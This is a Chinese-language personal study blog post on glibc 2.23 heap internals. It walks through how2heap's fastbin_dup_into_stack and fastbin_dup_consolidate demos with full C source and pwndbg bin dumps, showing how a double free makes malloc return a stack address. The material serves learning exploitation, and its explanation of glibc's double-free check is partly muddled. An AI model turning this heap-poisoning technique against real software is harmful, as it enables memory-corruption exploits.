关于如何理解Glibc堆管理器(Ⅲ——从DoubleFree深入理解Bins)

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源。

目录

环境与工具:

搭建调试环境:

fastbin_dup_into_stack:

调试阶段:

fastbin_dup_consolidate:

引用:


环境与工具:

        Ubuntu16.4 / gcc / (gdb)pwn-dbg

        范例:howtoheap2

搭建调试环境:

git clone https://github.com/shellphish/how2heap.git
cd how2heap
make

        对于GitHub可能速度过慢的情况,可以尝试使用Gitee拷贝仓库,再从Gitee处克隆仓库

fastbin_dup_into_stack:

        我们有必要使用glibc2.23版本下的环境来进行这种调试。在更高版本中,已经修复了这个漏洞。这当然对系统来说是好事,但对于试图理解其原理的学习者来说,少一些限制往往能够更加快速的理解。

        如下为源代码:(我并未做出删减,以方便让说明与调试过程相统一)

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", d);
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "Now the free list has [ %p ].\n", a);
	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

调试阶段:

test@ubuntu:~/how2heap/glibc_2.23$ gdb fastbin_dup_into_stack 
gdb-peda$ b 14
Breakpoint 1 at 0x40071d: file glibc_2.23/fastbin_dup_into_stack.c, line 14.
gdb-peda$ b 23
Breakpoint 2 at 0x4007bc: file glibc_2.23/fastbin_dup_into_stack.c, line 23.
gdb-peda$ b 29
Breakpoint 3 at 0x400806: file glibc_2.23/fastbin_dup_into_stack.c, line 29.
gdb-peda$ b 32
Breakpoint 4 at 0x40082f: file glibc_2.23/fastbin_dup_into_stack.c, line 32.
gdb-peda$ b 36
Breakpoint 5 at 0x40086a: file glibc_2.23/fastbin_dup_into_stack.c, line 36.
gdb-peda$ run

        可以在如上位置下断点,然后开始调试程序。

         通过continue和n运行到24行,也就是第一次执行free函数的位置,输入bins可以查看当前bins中的内容

gdb-peda$ bins
fastbins
0x20: 0x603000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

        可以看见,此时,fastbins中已经有了第一个节点。继续往下,直到第二次free结束时

gdb-peda$ bins
fastbins
0x20: 0x603020 —▸ 0x603000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

        可以看见,此时第二个节点也挂进fastbins链表的头部了。继续往下调试,直到第三个free函数被执行:

gdb-peda$ bins
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
gdb-peda$ heap
0x603000 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x603020, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x603020 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x603000, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x603040 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20fa1
}
0x603060 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20fa1, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

        可以看见,此时堆中的两个chunk在FastBins的链表中形成了一个闭环。

        这是一个非常反直觉的行为,因为我们执行了两次free(a),并且系统并没有报错

       (注:笔者在Kali2021版本中以相同代码进行调试则会出现报错,在该版本中已经存在Tcache Bins,示例中的free函数会将chunk放入Tcache Bins中而不是Fast Bins,因此调试失败)

         联系上一章内容,Fast Bins中的chunk并不是真正处于释放状态,因此系统在执行free函数的时候检查当前chunk的状态时会发现它仍然在被使用,因此我们可以多次进行free(a)的操作而不出现错误

        但这并不意味着系统不会做出检查:下方代码摘自ctf-wik,有删减

        /* Lightweight tests: check whether the block is already the
           top block.  */
        // 当前free的chunk不能是top chunk
        if (__glibc_unlikely(p == av->top)) {
            errstr = "double free or corruption (top)";
            goto errout;
        }
        // 当前要free的chunk的使用标记没有被标记,double free
        /* Or whether the block is actually not marked used.  */
        if (__glibc_unlikely(!prev_inuse(nextchunk))) {
            errstr = "double free or corruption (!prev)";
            goto errout;
        }
     

        根据注释可知,free函数的检查只判断当前目标是否处于Top chunk,也就是链表的头部。由于我们free(b)的执行,此时Top Chunk为chunk b,并且由于处在Fast Bins中,因此也绕过了第二个检查,所以成功对 a 进行了两次free操作

        接下来的内容请根据如下代码进行调试:

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main()
{
	int *a = malloc(8);
	int *b = malloc(8);
	free(a);
	free(b);
	free(a);
	int *c = malloc(8);
	int *d = malloc(8);
	int *e = malloc(8);
	int *f = malloc(8);
	return 0;
}	
gcc -g heap2.c -o heap2
gdb heap2
b 13
run

        我删处了很多不必要的说明以方便我们更加直观的看到DoubleFree的效果

        直接运行到第13行,并且完成接下来的四次malloc操作:

───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/giantbranch/Desktop/class/heap2.c
    8 	int *a = malloc(8);
    9 	int *b = malloc(8);
   10 	free(a);
   11 	free(b);
   12 	free(a);
 ► 13 	int *c = malloc(8);
   14 	int *d = malloc(8);
   15 	int *e = malloc(8);
   16 	int *f = malloc(8);
   17 	return 0;
   18 }	

        当我们运行到第17行时再查看如下变量: 

gdb-peda$ p c
$5 = (int *) 0x602010
gdb-peda$ p d
$6 = (int *) 0x602030
gdb-peda$ p e
$7 = (int *) 0x602010
gdb-peda$ p f
$8 = (int *) 0x602030

        我们发现,不论怎么申请都只会得到这两个地址了。它们交错出现,只要我们申请的内存能够从这个Bin中取出,那么我们现在就只能得到这两个地址了。

        从malloc的角度来说,它会取出Bins的第一个节点,并将其他节点往上挂入头节点中。

        而在回环的链表中,取出第一个节点后,第二个节点成为新的第一个节点,而新的第二个节点则又是第一个节点(这样说十分绕口,建议手动调试一下),因此没办法像平常操作那样取出目标了

        而从这个出现顺序也能够猜出,Fast Bins是先进后出的结构

fastbin_dup_consolidate:

        我没有使用范例给出的程序,而是自己写了更加方便调试的类似的代码

#include <stdio.h>
#include <stdlib.h>

int main()
{
	void* p1 = malloc(0x40);
	void* p2 = malloc(0x40);
	free(p1);
	void* p3 = malloc(0x400);
	free(p1);
	void* p4 = malloc(0x40);
	void* p5 = malloc(0x40);
}

        同样编译后运行到第9行,此时的bins:

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

         此时,chunk p1已经被放入Fast Bins中,当我们再次申请一块超出Fast Bins能够服务的chunk时,即执第9行代码:

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty

        发生了合并consolidate,并将chunk p1送入Small Bins中,。继续往下执行第10行:

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50 [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty

         第11行:

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50 [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty

        第12行:

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

        这个实际结果与上一章所述相同。在第12行代码中,堆管理器检查Small Bins发现可用,分割该chunk分配给 p5,并将该chunk取出Bins。

引用:

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/free/#_3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值